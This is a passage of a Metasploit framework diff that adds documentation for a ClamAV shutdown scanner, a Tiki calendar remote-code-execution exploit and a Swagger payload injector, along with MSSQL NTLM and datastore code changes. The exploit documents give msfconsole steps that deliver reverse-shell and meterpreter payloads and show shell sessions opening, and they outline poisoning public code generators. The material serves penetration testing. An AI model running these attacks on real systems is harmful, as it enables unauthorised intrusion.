diff --git a/Gemfile.lock b/Gemfile.lock index 8e08b97174..2bdb52f044 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.12.8) + metasploit-framework (4.12.10) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -29,12 +29,14 @@ PATH rb-readline-r7 recog redcarpet + rex-java rex-powershell rex-random_identifier rex-registry rex-text rex-zip robots + rubyntlm rubyzip sqlite3 tzinfo @@ -211,6 +213,7 @@ GEM recog (2.0.21) nokogiri redcarpet (3.3.4) + rex-java (0.1.2) rex-powershell (0.1.0) rex-random_identifier rex-text diff --git a/documentation/modules/auxiliary/scanner/misc/clamav_control.md b/documentation/modules/auxiliary/scanner/misc/clamav_control.md new file mode 100644 index 0000000000..f6373b5d2c --- /dev/null +++ b/documentation/modules/auxiliary/scanner/misc/clamav_control.md @@ -0,0 +1,91 @@ +ClamAV is an open source antivirus engine for detecting trojans, viruses, malare, and other +malicious threats. + +clamav_control takes advantage of a possible misconfiguration in the ClamAV service on release +0.99.2 if the service is tied to a socket, and allows you fingerprint the version, and being +able to shut down the service. + +## Vulnerable Application + +To install ClamAV from Ubuntu: + +``` +$ sudo apt-get install clamav clamav-daemon +$ sudo freshclam +``` + +You might also need to add the following to /etc/clamav/clamd.conf: + +``` +# TCP port address. +# Default: no +TCPSocket 3310 + +# TCP address. +# By default we bind to INADDR_ANY, probably not wise. +# Enable the following to provide some degree of protection +# from the outside world. +# Default: no +TCPAddr 0.0.0.0 + +# Maximum length the queue of pending connections may grow to. +# Default: 15 +MaxConnectionQueueLength 30 + +# Clamd uses FTP-like protocol to receive data from remote clients. +# If you are using clamav-milter to balance load between remote clamd daemons +# on firewall servers you may need to tune the options below. + +# Close the connection when the data size limit is exceeded. +# The value should match your MTA's limit for a maximum attachment size. +# Default: 10M +StreamMaxLength 55M + +# Limit port range. +# Default: 1024 +#StreamMinPort 30000 +# Default: 2048 +#StreamMaxPort 32000 + +# Maximum number of threads running at the same time. +# Default: 10 +MaxThreads 50 + +# Waiting for data from a client socket will timeout after this time (seconds). +# Value of 0 disables the timeout. +# Default: 120 +ReadTimeout 300 + +# Waiting for a new job will timeout after this time (seconds). +# Default: 30 +#IdleTimeout 60 + +# Maximum depth directories are scanned at. +# Default: 15 +#MaxDirectoryRecursion 20 +``` + +And finally, start the service: + +``` +$ sudo /etc/init.d/clamav-daemon start +``` + +## Options + +clamav_control comes with two actions: + +**VERSION** + +This is the default action, and shows you the ClamAV version. Output example: + +``` +msf auxiliary(clamav_control) > run + +[+] 192.168.1.203:3310 - ClamAV 0.98.7/21772/Wed Jun 22 12:54:15 2016 +``` + +**SHUTDOWN** + +This action allows you to shutdown ClamAV. You can also use the VERSION action again to verify +whether is service is down or not. \ No newline at end of file diff --git a/documentation/modules/exploit/linux/http/tiki_calendar_exec.md b/documentation/modules/exploit/linux/http/tiki_calendar_exec.md new file mode 100644 index 0000000000..64f396536d --- /dev/null +++ b/documentation/modules/exploit/linux/http/tiki_calendar_exec.md @@ -0,0 +1,103 @@ +## Vulnerable Application + + * Official Source: [sourceforge](https://sourceforge.net/projects/tikiwiki/files/Tiki_14.x_Peony/14.1/) + * Exploit-db: [edb](https://www.exploit-db.com/apps/2fa84367ba4f14afab9f51cd3e93606d-tiki-14.2.7z) + * Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts) + + **Of note, there is some discussion if 14.2 is vuln or not.** + + 1. Exploit-DB says in the title (may be wrong) 14.2 is vuln. + 2. The linked app Exploit-DB has is 14.2. + 3. Its verified on Exploit-DB. + +vs + + 1. Manual print statement testing from the PoC on 14.2 doesn't seem to be vuln + 2. The [notice](https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki) seems to say 14.2 is the update that fixes the problem + +### Creating A Testing Environment + + 1. Create a fresh Ubuntu 16.04 w/ a LAMP install + 2. `apt-get install php-xml` + 3. Normal php install at that point! + 4. After install, login as admin:admin + 5. Go to the Control Panels + 6. Click Features + 7. Enable Calendar under Main feature + 8. Click Apply + +#### Permissions + + If you wish to enable the non-logged in user (anonymous) to view/exploit the calendar: + + 1. Log in as admin + 2. From the top dropdown select permissions + 3. Check Anonymous near the top + 4. Click Assign + +## Verification Steps + + 1. Install the software as documented above + 2. Start msfconsole + 3. Do: `use exploit/linux/http/tiki_calendar_exec` + 4. Do: `set rhost 10.10.10.10` + 5. (optional, if not set, set username to empty) Do: `set PASSWORD admin` + 6. Do: `set payload php/bind_perl` + 7. Do: `set verbose true` + 8. Do: `check` + +``` + [*] Attempting Login + [+] Login Successful! + [+] 10.10.10.10:80 The target is vulnerable. +``` + + 9. Do: `exploit` + 10. You should get a shell + +``` + [*] Started reverse TCP handler on 10.10.10.10:4444 + [*] Attempting Login + [+] Login Successful! + [*] Sending malicious calendar view packet + [*] Sending stage (33721 bytes) 10.10.10.10.190 + [*] Meterpreter session 1 opened (10.10.10.10:4444 -> 192.168.2.190:48188) at 2016-06-19 08:50:44 -0400 +``` + +## Options + + **PASSWORD** + + Password is set at first login. Default for admin is 'admin'. + +## Scenarios + +Example running against unauthenticated calendar v14.1 + +``` + msf > use exploit/linux/http/tiki_calendar_exec + msf exploit(tiki_calendar_exec) > set rhost 192.168.2.190 + rhost => 192.168.2.190 + msf exploit(tiki_calendar_exec) > set targeturi /t14_1/ + targeturi => /t14_1/ + msf exploit(tiki_calendar_exec) > set payload php/meterpreter/reverse_tcp + payload => php/meterpreter/reverse_tcp + msf exploit(tiki_calendar_exec) > set lhost 192.168.2.229 + lhost => 192.168.2.229 + msf exploit(tiki_calendar_exec) > set verbose true + verbose => true + msf exploit(tiki_calendar_exec) > set username '' + username => + msf exploit(tiki_calendar_exec) > exploit + + [*] Started reverse TCP handler on 192.168.2.229:4444 + [*] Sending malicious calendar view packet + [*] Sending stage (33721 bytes) to 192.168.2.190 + [*] Meterpreter session 1 opened (192.168.2.229:4444 -> 192.168.2.190:48172) at 2016-06-18 10:58:19 -0400 + + meterpreter > sysinfo + Computer : tikiwiki + OS : Linux tikiwiki 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 + Meterpreter : php/php + meterpreter > +``` diff --git a/documentation/modules/exploit/multi/fileformat/swagger_param_inject.md b/documentation/modules/exploit/multi/fileformat/swagger_param_inject.md new file mode 100755 index 0000000000..20a3f4540b --- /dev/null +++ b/documentation/modules/exploit/multi/fileformat/swagger_param_inject.md @@ -0,0 +1,115 @@ +The [Swagger CodeGen parameter injector module](../../../../../modules/exploits/multi/fileformat/swagger_param_inject.rb) generates a Swagger JSON file with embedded Metasploit payloads. + +In the typical case, a Swagger document defines an API. Swagger can be automatically consumed to generate client/server code, testing and scaffolding in APIs by companies eager to provide value to the increasing need for scalable API deployment and testing. + +Currently, this module supports 4 languages for delivery: NodeJS, PHP, Ruby, and Java. These are specified by the PAYLOAD set for the exploit module. + + +## Verification Steps + +All exploits assume a bind or reverse-tcp callback handler, with preference on reverse-tcp. + +1. Start msfconsole +2. Start a callback handler listening for a the appropriate payload (e.g.) + +``` +use exploit/multi/handler +set PAYLOAD nodejs/shell_reverse_tcp + +set LHOST 192.168.68.138 +set LPORT 4444 + +run +``` +3. Pick a target + +## Targets + +**NodeJS** + +This attack injects a payload into javascript by terminating a URL path string. + + +``` + +use exploit/multi/fileformat/swagger_param_inject +set PAYLOAD nodejs/shell_reverse_tcp +set INFO_VERSION "1.0.0" +set SWAGGER_HOST "localhost" +run +``` + +**PHP** + +This attack injects a payload into PHP multiline comment area. + + +``` + +use exploit/multi/fileformat/swagger_param_inject +set PAYLOAD php/meterpreter/reverse_tcp +set SWAGGER_HOST "localhost" +run +``` + +**ruby** + +This attack injects a payload into ruby multiline comment area. + + +``` + +use exploit/multi/fileformat/swagger_param_inject +set PAYLOAD ruby/shell_reverse_tcp +set SWAGGER_HOST "localhost" +run +``` + +**Java** + +This attack injects a payload into Java by terminating a URL path string. + + +``` + +use exploit/multi/fileformat/swagger_param_inject +set PAYLOAD java/jsp_shell_reverse_tcp +set SWAGGER_HOST "localhost" +run +``` + +## Quick Test + +Use the online [editor.swagger.io](http://editor.swagger.io) to upload your swagger document, and generate pre-built code bases from the document. The swagger editor leverages [generator.swagger.io](http://generator.swagger.io) to build these clients & servers automatically from the document, and published downloadable artifacts of these code bases. + + +## Scenarios + +Effective against services with either these dependencies + +* [swagger-codegen](https://github.com/swagger-api/swagger-codegen) + * public API [generator.swagger.io](http://generator.swagger.io/) + * public docker container [swagger-generator/](https://hub.docker.com/r/swaggerapi/swagger-generator/) +* [swagger-test-templates](https://github.com/apigee-127/swagger-test-templates) + +**Possible Attack approach.** + +1. Research the target environment and component dependencies. +2. Setup appropriate payload callback listener. +3. generate the appropriate swagger document with associated MS payload (see above for examples) + + +**Against a webservice (2nd order attack / blind code-gen)** + +*Who knows what insecurely configured code-gen Docker containers hosted in data compute or API broker cluster could do if given the chance...* + +4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition. +5. Wait for callback handler event. + +**Against a code repository or public hosting of spec** + +*People and Robots trust swagger to build clients, servers, mocks, and more. Publicly hosted specs should be verified as to not corrupt automatic code generation.* + +4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition. +5. Wait for callback handler event. + diff --git a/lib/metasploit/framework/mssql/client.rb b/lib/metasploit/framework/mssql/client.rb index acfed80b88..4c79a8eb0e 100644 --- a/lib/metasploit/framework/mssql/client.rb +++ b/lib/metasploit/framework/mssql/client.rb @@ -9,11 +9,6 @@ module Metasploit extend ActiveSupport::Concern include Metasploit::Framework::Tcp::Client - NTLM_CRYPT = Rex::Proto::NTLM::Crypt - NTLM_CONST = Rex::Proto::NTLM::Constants - NTLM_UTILS = Rex::Proto::NTLM::Utils - NTLM_XCEPT = Rex::Proto::NTLM::Exceptions - # Encryption ENCRYPT_OFF = 0x00 #Encryption is available but off. ENCRYPT_ON = 0x01 #Encryption is available and on. @@ -21,23 +16,23 @@ module Metasploit ENCRYPT_REQ = 0x03 #Encryption is required. # Packet Type - TYPE_SQL_BATCH = 1 # (Client) SQL command - TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused) - TYPE_RPC = 3 # (Client) RPC - TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters, + TYPE_SQL_BATCH = 1 # (Client) SQL command + TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused) + TYPE_RPC = 3 # (Client) RPC + TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters, # Request Completion, Error and Info Messages, Attention Acknowledgement - TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention - TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data + TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention + TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager - TYPE_TDS7_LOGIN = 16 # (Client) Login - TYPE_SSPI_MESSAGE = 17 # (Client) Login - TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7 + TYPE_TDS7_LOGIN = 16 # (Client) Login + TYPE_SSPI_MESSAGE = 17 # (Client) Login + TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7 # Status - STATUS_NORMAL = 0x00 - STATUS_END_OF_MESSAGE = 0x01 - STATUS_IGNORE_EVENT = 0x02 - STATUS_RESETCONNECTION = 0x08 # TDS 7.1+ + STATUS_NORMAL = 0x00 + STATUS_END_OF_MESSAGE = 0x01 + STATUS_IGNORE_EVENT = 0x02 + STATUS_RESETCONNECTION = 0x08 # TDS 7.1+ STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+ # @@ -55,14 +50,14 @@ module Metasploit idx = 0 pkt = '' pkt_hdr = '' - pkt_hdr = [ + pkt_hdr = [ TYPE_TDS7_LOGIN, #type STATUS_END_OF_MESSAGE, #status 0x0000, #length 0x0000, # SPID - 0x01, # PacketID (unused upon specification + 0x01, # PacketID (unused upon specification # but ms network monitor stil prefer 1 to decode correctly, wireshark don't care) - 0x00 #Window + 0x00 #Window ] pkt << [ @@ -85,18 +80,18 @@ module Metasploit sname = Rex::Text.to_unicode( rhost ) dname = Rex::Text.to_unicode( db ) - ntlm_options = { - :signing => false, - :usentlm2_session => use_ntlm2_session, - :use_ntlmv2 => use_ntlmv2, - :send_lm => send_lm, - :send_ntlm => send_ntlm - } - - ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) - ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags) + ntlm_client = ::Net::NTLM::Client.new( + user, + pass, + workstation: workstation_name, + domain: domain_name, + ) + type1 = ntlm_client.init_context + # SQL 2012, at least, does not support KEY_EXCHANGE + type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE] + ntlmsspblob = type1.serialize idx = pkt.size + 50 # lengths below @@ -137,9 +132,9 @@ module Metasploit pkt << ntlmsspblob # Total packet length - pkt[0,4] = [pkt.length].pack('V') + pkt[0, 4] = [pkt.length].pack('V') - pkt_hdr[2] = pkt.length + 8 + pkt_hdr[2] = pkt.length + 8 pkt = pkt_hdr.pack("CCnnCC") + pkt @@ -147,64 +142,38 @@ module Metasploit # has a strange behavior that differs from the specifications # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification - if tdsencryption == true proxy = TDSSSLProxy.new(sock) proxy.setup_ssl - resp = proxy.send_recv(pkt) + resp = proxy.send_recv(pkt, 15, false) else - resp = mssql_send_recv(pkt) + resp = mssql_send_recv(pkt, 15, false) end - # Get default data - begin - blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp) - # a domain.length < 3 will hit this - rescue NTLM_XCEPT::NTLMMissingChallenge - return false - end - - challenge_key = blob_data[:challenge_key] - server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error - #netbios name - default_name = blob_data[:default_name] || '' - #netbios domain - default_domain = blob_data[:default_domain] || '' - #dns name - dns_host_name = blob_data[:dns_host_name] || '' - #dns domain - dns_domain_name = blob_data[:dns_domain_name] || '' - #Client time - chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' - - spnopt = {:use_spn => send_spn, :name => rhost} - - resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key, - domain_name, default_name, default_domain, - dns_host_name, dns_domain_name, chall_MsvAvTimestamp, - spnopt, ntlm_options) - - ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags) + # Strip the TDS header + resp = resp[3..-1] + type3 = ntlm_client.init_context([resp].pack('m')) + type3_blob = type3.serialize # Create an SSPIMessage idx = 0 pkt = '' pkt_hdr = '' - pkt_hdr = [ - TYPE_SSPI_MESSAGE, #type - STATUS_END_OF_MESSAGE, #status - 0x0000, #length - 0x0000, # SPID - 0x01, # PacketID - 0x00 #Window + pkt_hdr = [ + TYPE_SSPI_MESSAGE, #type + STATUS_END_OF_MESSAGE, #status + 0x0000, #length + 0x0000, # SPID + 0x01, # PacketID + 0x00 #Window ] - pkt_hdr[2] = ntlmssp.length + 8 + pkt_hdr[2] = type3_blob.length + 8 - pkt = pkt_hdr.pack("CCnnCC") + ntlmssp + pkt = pkt_hdr.pack("CCnnCC") + type3_blob if self.tdsencryption == true - resp = mssql_ssl_send_recv(pkt,proxy) + resp = mssql_ssl_send_recv(pkt, proxy) proxy.cleanup proxy = nil else @@ -283,7 +252,7 @@ module Metasploit pkt << dname # Total packet length - pkt[0,4] = [pkt.length].pack('V') + pkt[0, 4] = [pkt.length].pack('V') # Embedded packet lengths pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2 @@ -294,7 +263,7 @@ module Metasploit if self.tdsencryption == true proxy = TDSSSLProxy.new(sock) proxy.setup_ssl - resp = mssql_ssl_send_recv(pkt,proxy) + resp = mssql_ssl_send_recv(pkt, proxy) proxy.cleanup proxy = nil else @@ -304,7 +273,7 @@ module Metasploit end info = {:errors => []} - info = mssql_parse_reply(resp,info) + info = mssql_parse_reply(resp, info) disconnect @@ -316,17 +285,17 @@ module Metasploit # Parse an "environment change" TDS token # def mssql_parse_env(data, info) - len = data.slice!(0,2).unpack('v')[0] - buff = data.slice!(0,len) - type = buff.slice!(0,1).unpack('C')[0] + len = data.slice!(0, 2).unpack('v')[0] + buff = data.slice!(0, len) + type = buff.slice!(0, 1).unpack('C')[0] nval = '' - nlen = buff.slice!(0,1).unpack('C')[0] || 0 - nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0 + nlen = buff.slice!(0, 1).unpack('C')[0] || 0 + nval = buff.slice!(0, nlen*2).gsub("\x00", '') if nlen > 0 oval = '' - olen = buff.slice!(0,1).unpack('C')[0] || 0 - oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0 + olen = buff.slice!(0, 1).unpack('C')[0] || 0 + oval = buff.slice!(0, olen*2).gsub("\x00", '') if olen > 0 info[:envs] ||= [] info[:envs] << { :type => type, :old => oval, :new => nval } @@ -337,7 +306,7 @@ module Metasploit # Parse a "ret" TDS token # def mssql_parse_ret(data, info) - ret = data.slice!(0,4).unpack('N')[0] + ret = data.slice!(0, 4).unpack('N')[0] info[:ret] = ret info end @@ -346,7 +315,7 @@ module Metasploit # Parse a "done" TDS token # def mssql_parse_done(data, info) - status,cmd,rows = data.slice!(0,8).unpack('vvV') + status, cmd, rows = data.slice!(0, 8).unpack('vvV') info[:done] = { :status => status, :cmd => cmd, :rows => rows } info end @@ -355,11 +324,11 @@ module Metasploit # Parse an "error" TDS token # def mssql_parse_error(data, info) - len = data.slice!(0,2).unpack('v')[0] - buff = data.slice!(0,len) + len = data.slice!(0, 2).unpack('v')[0] + buff = data.slice!(0, len) - errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') - emsg = buff.slice!(0,elen * 2) + errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv') + emsg = buff.slice!(0, elen * 2) emsg.gsub!("\x00", '') info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" @@ -370,14 +339,14 @@ module Metasploit # Parse an "information" TDS token # def mssql_parse_info(data, info) - len = data.slice!(0,2).unpack('v')[0] - buff = data.slice!(0,len) + len = data.slice!(0, 2).unpack('v')[0] + buff = data.slice!(0, len) - errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') - emsg = buff.slice!(0,elen * 2) + errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv') + emsg = buff.slice!(0, elen * 2) emsg.gsub!("\x00", '') - info[:infos]||= [] + info[:infos] ||= [] info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" info end @@ -386,8 +355,8 @@ module Metasploit # Parse a "login ack" TDS token # def mssql_parse_login_ack(data, info) - len = data.slice!(0,2).unpack('v')[0] - buff = data.slice!(0,len) + len = data.slice!(0, 2).unpack('v')[0] + _buff = data.slice!(0, len) info[:login_ack] = true end @@ -398,7 +367,7 @@ module Metasploit info[:errors] = [] return if not data until data.empty? - token = data.slice!(0,1).unpack('C')[0] + token = data.slice!(0, 1).unpack('C')[0] case token when 0x81 mssql_parse_tds_reply(data, info) @@ -434,14 +403,14 @@ module Metasploit info[:colnames] ||= [] # Parse out the columns - cols = data.slice!(0,2).unpack('v')[0] + cols = data.slice!(0, 2).unpack('v')[0] 0.upto(cols-1) do |col_idx| col = {} info[:colinfos][col_idx] = col - col[:utype] = data.slice!(0,2).unpack('v')[0] - col[:flags] = data.slice!(0,2).unpack('v')[0] - col[:type] = data.slice!(0,1).unpack('C')[0] + col[:utype] = data.slice!(0, 2).unpack('v')[0] + col[:flags] = data.slice!(0, 2).unpack('v')[0] + col[:type] = data.slice!(0, 1).unpack('C')[0] case col[:type] when 48 @@ -458,8 +427,8 @@ module Metasploit when 34 col[:id] = :image - col[:max_size] = data.slice!(0,4).unpack('V')[0] - col[:value_length] = data.slice!(0,2).unpack('v')[0] + col[:max_size] = data.slice!(0, 4).unpack('V')[0] + col[:value_length] = data.slice!(0, 2).unpack('v')[0] col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '') when 36 @@ -467,31 +436,31 @@ module Metasploit when 38 col[:id] = :int - col[:int_size] = data.slice!(0,1).unpack('C')[0] + col[:int_size] = data.slice!(0, 1).unpack('C')[0] when 127 col[:id] = :bigint when 165 col[:id] = :hex - col[:max_size] = data.slice!(0,2).unpack('v')[0] + col[:max_size] = data.slice!(0, 2).unpack('v')[0] when 173 col[:id] = :hex # binary(2) - col[:max_size] = data.slice!(0,2).unpack('v')[0] + col[:max_size] = data.slice!(0, 2).unpack('v')[0] - when 231,175,167,239 + when 231, 175, 167, 239 col[:id] = :string - col[:max_size] = data.slice!(0,2).unpack('v')[0] - col[:codepage] = data.slice!(0,2).unpack('v')[0] - col[:cflags] = data.slice!(0,2).unpack('v')[0] - col[:charset_id] = data.slice!(0,1).unpack('C')[0] + col[:max_size] = data.slice!(0, 2).unpack('v')[0] + col[:codepage] = data.slice!(0, 2).unpack('v')[0] + col[:cflags] = data.slice!(0, 2).unpack('v')[0] + col[:charset_id] = data.slice!(0, 1).unpack('C')[0] else col[:id] = :unknown end - col[:msg_len] = data.slice!(0,1).unpack('C')[0] + col[:msg_len] = data.slice!(0, 1).unpack('C')[0] if(col[:msg_len] and col[:msg_len] > 0) col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '') @@ -517,28 +486,28 @@ module Metasploit case col[:id] when :hex str = "" - len = data.slice!(0,2).unpack('v')[0] + len = data.slice!(0, 2).unpack('v')[0] if(len > 0 and len < 65535) - str << data.slice!(0,len) + str << data.slice!(0, len) end row << str.unpack("H*")[0] when :string str = "" - len = data.slice!(0,2).unpack('v')[0] + len = data.slice!(0, 2).unpack('v')[0] if(len > 0 and len < 65535) - str << data.slice!(0,len) + str << data.slice!(0, len) end row << str.gsub("\x00", '') when :datetime - row << data.slice!(0,8).unpack("H*")[0] + row << data.slice!(0, 8).unpack("H*")[0] when :rawint - row << data.slice!(0,4).unpack('V')[0] + row << data.slice!(0, 4).unpack('V')[0] when :bigint - row << data.slice!(0,8).unpack("H*")[0] + row << data.slice!(0, 8).unpack("H*")[0] when :smallint row << data.slice!(0, 2).unpack("v")[0] @@ -551,8 +520,8 @@ module Metasploit when :image str = '' - len = data.slice!(0,1).unpack('C')[0] - str = data.slice!(0,len) if (len and len > 0) + len = data.slice!(0, 1).unpack('C')[0] + str = data.slice!(0, len) if (len and len > 0) row << str.unpack("H*")[0] when :int @@ -560,7 +529,7 @@ module Metasploit raw = data.slice!(0, len) if (len and len > 0) case len - when 0,255 + when 0, 255 row << '' when 1 row << raw.unpack("C")[0] @@ -573,7 +542,7 @@ module Metasploit when 8 row << raw.unpack('VV')[0] # XXX: missing high dword else - info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}" + info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}" end else info[:errors] << "unknown column type: #{col.inspect}" @@ -595,7 +564,7 @@ module Metasploit pkt_data = "" - pkt_hdr = [ + pkt_hdr = [ TYPE_PRE_LOGIN_MESSAGE, #type STATUS_END_OF_MESSAGE, #status 0x0000, #length @@ -604,7 +573,7 @@ module Metasploit 0x00 #Window ] - version = [0x55010008,0x0000].pack("Vv") + version = [0x55010008, 0x0000].pack("Vv") # if manually set, we will honour if tdsencryption == true @@ -615,45 +584,45 @@ module Metasploit instoptdata = "MSSQLServer\0" - threadid = "\0\0" + Rex::Text.rand_text(2) + threadid = "\0\0" + Rex::Text.rand_text(2) idx = 21 # size of pkt_data_token - pkt_data_token << [ - 0x00, # Token 0 type Version - idx , # VersionOffset + pkt_data_token << [ + 0x00, # Token 0 type Version + idx , # VersionOffset version.length, # VersionLength - 0x01, # Token 1 type Encryption - idx = idx + version.length, # EncryptionOffset - 0x01, # EncryptionLength + 0x01, # Token 1 type Encryption + idx = idx + version.length, # EncryptionOffset + 0x01, # EncryptionLength - 0x02, # Token 2 type InstOpt - idx = idx + 1, # InstOptOffset - instoptdata.length, # InstOptLength + 0x02, # Token 2 type InstOpt + idx = idx + 1, # InstOptOffset + instoptdata.length, # InstOptLength - 0x03, # Token 3 type Threadid - idx + instoptdata.length, # ThreadIdOffset - 0x04, # ThreadIdLength + 0x03, # Token 3 type Threadid + idx + instoptdata.length, # ThreadIdOffset + 0x04, # ThreadIdLength 0xFF ].pack("CnnCnnCnnCnnC") - pkt_data << pkt_data_token - pkt_data << version - pkt_data << encryption - pkt_data << instoptdata - pkt_data << threadid + pkt_data << pkt_data_token + pkt_data << version + pkt_data << encryption + pkt_data << instoptdata + pkt_data << threadid - pkt_hdr[2] = pkt_data.length + 8 + pkt_hdr[2] = pkt_data.length + 8 - pkt = pkt_hdr.pack("CCnnCC") + pkt_data + pkt = pkt_hdr.pack("CCnnCC") + pkt_data resp = mssql_send_recv(pkt) idx = 0 - while resp and resp[0,1] != "\xff" and resp.length > 5 - token = resp.slice!(0,5) + while resp && resp[0, 1] != "\xff" && resp.length > 5 + token = resp.slice!(0, 5) token = token.unpack("Cnn") idx -= 5 if token[0] == 0x01 @@ -663,7 +632,7 @@ module Metasploit end end if idx > 0 - encryption_mode = resp[idx,1].unpack("C")[0] + encryption_mode = resp[idx, 1].unpack("C")[0] else raise RunTimeError, "Unable to parse encryption req. "\ "from server during prelogin" @@ -701,8 +670,8 @@ module Metasploit idx = 0 - while resp and resp[0,1] != "\xff" and resp.length > 5 - token = resp.slice!(0,5) + while resp && resp[0, 1] != "\xff" && resp.length > 5 + token = resp.slice!(0, 5) token = token.unpack("Cnn") idx -= 5 if token[0] == 0x01 @@ -711,7 +680,7 @@ module Metasploit end end if idx > 0 - encryption_mode = resp[idx,1].unpack("C")[0] + encryption_mode = resp[idx, 1].unpack("C")[0] else raise RuntimeError, "Unable to parse encryption "\ "req during pre-login" @@ -735,17 +704,17 @@ module Metasploit while(not done) head = sock.get_once(8, timeout) - if !(head and head.length == 8) + if !(head && head.length == 8) return false end # Is this the last buffer? - if(head[1,1] == "\x01" or not check_status ) + if head[1, 1] == "\x01" || !check_status done = true end # Grab this block's length - rlen = head[2,2].unpack('n')[0] - 8 + rlen = head[2, 2].unpack('n')[0] - 8 while(rlen > 0) buff = sock.get_once(rlen, timeout) @@ -758,7 +727,7 @@ module Metasploit resp end - def mssql_ssl_send_recv(req,tdsproxy,timeout=15,check_status=true) + def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true) tdsproxy.send_recv(req) end diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 97ff4f1c39..b4b8551391 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.12.8" + VERSION = "4.12.10" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/core/data_store.rb b/lib/msf/core/data_store.rb index c2dc94f729..0b7f5f54cc 100644 --- a/lib/msf/core/data_store.rb +++ b/lib/msf/core/data_store.rb @@ -1,7 +1,4 @@ # -*- coding: binary -*- - -require 'set' - module Msf ### @@ -16,10 +13,9 @@ class DataStore < Hash # Initializes the data store's internal state. # def initialize() - @options = Hash.new - @imported = Hash.new - @imported_by = Hash.new - @original_keys = Set.new + @options = Hash.new + @imported = Hash.new + @imported_by = Hash.new end # @@ -27,8 +23,7 @@ class DataStore < Hash # directly. # def []=(k, v) - add_key(k) - k = k.downcase + k = find_key_case(k) @imported[k] = false @imported_by[k] = nil @@ -49,32 +44,31 @@ class DataStore < Hash # Case-insensitive wrapper around hash lookup # def [](k) - super(k.downcase) + super(find_key_case(k)) end # # Case-insensitive wrapper around store # def store(k,v) - add_key(k) - super(k.downcase, v) + super(find_key_case(k), v) end # # Case-insensitive wrapper around delete # def delete(k) - super(k.downcase) + super(find_key_case(k)) end - # Override Hash's to_h method so we can include the original case of each key - # (failing to do this breaks a number of places in framework and pro that use - # serialized datastores) - def to_h - @original_keys.reduce({}) do |acc, key| - acc[key] = self[key] - acc - end + + # + # Updates a value in the datastore with the specified name, k, to the + # specified value, v. This update does not alter the imported status of + # the value. + # + def update_value(k, v) + self.store(k, v) end # @@ -134,16 +128,15 @@ class DataStore < Hash # Imports options from a hash and stores them in the datastore. # def import_options_from_hash(option_hash, imported = true, imported_by = nil) - option_hash.each_pair do |key, val| + option_hash.each_pair { |key, val| import_option(key, val, imported, imported_by) - end + } end def import_option(key, val, imported=true, imported_by=nil, option=nil) self.store(key, val) - key = key.downcase - @options[key] = option + @options[key] = option @imported[key] = imported @imported_by[key] = imported_by end @@ -152,9 +145,21 @@ class DataStore < Hash # Serializes the options in the datastore to a string. # def to_s(delim = ' ') - @original_keys.reduce('') do |acc, key| - acc << "#{key}=#{self[key]}#{delim}" + str = '' + + keys.sort.each { |key| + str << "#{key}=#{self[key]}" + ((str.length) ? delim : '') + } + + return str + end + + def to_h + datastore_hash = {} + self.keys.each do |k| + 